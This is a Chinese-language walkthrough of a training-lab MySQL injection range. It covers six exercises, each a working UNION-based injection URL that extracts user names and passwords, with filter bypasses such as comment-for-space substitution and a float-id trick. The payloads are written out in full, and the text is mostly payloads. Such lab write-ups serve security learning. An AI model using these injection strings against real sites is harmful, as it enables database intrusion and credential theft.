mysql注入合天实验室靶场
实例一、热身运动,不设防
关键代码:
本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;
think:从代码看name传参是字符串型,传入的字符有单引号保护,未对传参进行任何过滤和检测。
do it:
http:10.1.1.11:81/sqli/example1.php?name=root
http:10.1.1.11:81/sqli/example1.php?name=root'
http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+
说明有五个字段,那么我们直接进行联合查询。
http:10.1.1.11:81/sqli/example1.php?name=root' order by 5--+
http:10.1.1.11:81/sqli/example1.php?name=root’ union select 1,2,3,4,5--+
http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+
拿到表名:users
那我们继续查字段
http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),user(),group_concat(column_name),4,5 from information_schema.columns where table_name='users'--+
存在id,name,age,groupid,passwd字段
那我们再继续name和passwd
http:10.1.1.11:81/sqli/example1.php?name=root’ union select database(),name,passwd,4,5 from users--+
就得到我们name和passwd
实例二、节约是种美德,少用空格
关键代码:
本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;
正则匹配不能使用空格,那我们可以使用/**/代替,因为此处不能用空格那么我们的注释就不能用--+因为+也会被当成空格
do it:
http:10.1.1.11:81/sqli/example2.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23
实例三、继承美德,不用空格
关键代码:
本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;
这里有个正则匹配\s+
\s 是匹配空白字符
+是匹配前面的子表达式一次或多次
那么我们这个里还可以使用/**/来绕过
do it:
http:10.1.1.11:81/sqli/example3.php?name=root’/**/union/**/select/**/database(),name,passwd,4,5/**/from/**/users%23
实例四、看仔细点,别被吓坏了
关键代码:
本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;
这里使用了mysql_real_escape_string函数转义字符
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
这里我们就不能使用‘ “
我们可以使用浮点型来让其报错执行我们的联合查询语句
http:10.1.1.11:81/sqli/example4.php?id=2.1 union select database(),name,passwd,4,5 from users%23
实例五、这个规则没多大意义
关键代码:
本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;
这里也有一个正则匹配id传参的开头必须是数字,那么我们上题的payload一样可以满足
http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%23
实例六、想用工具没门
关键代码:
本例任务:尝试进行sql注入,目标为得到数据库中的用户名与密码,并对你的sql注入测试语句及简单说明;
本题是正则匹配我们输入的结尾必须全是数字型的,那么我们这里就直接使用%231结尾就可以绕过了。
http:10.1.1.11:81/sqli/example5.php?id=2.1 union select database(),name,passwd,4,5 from users%231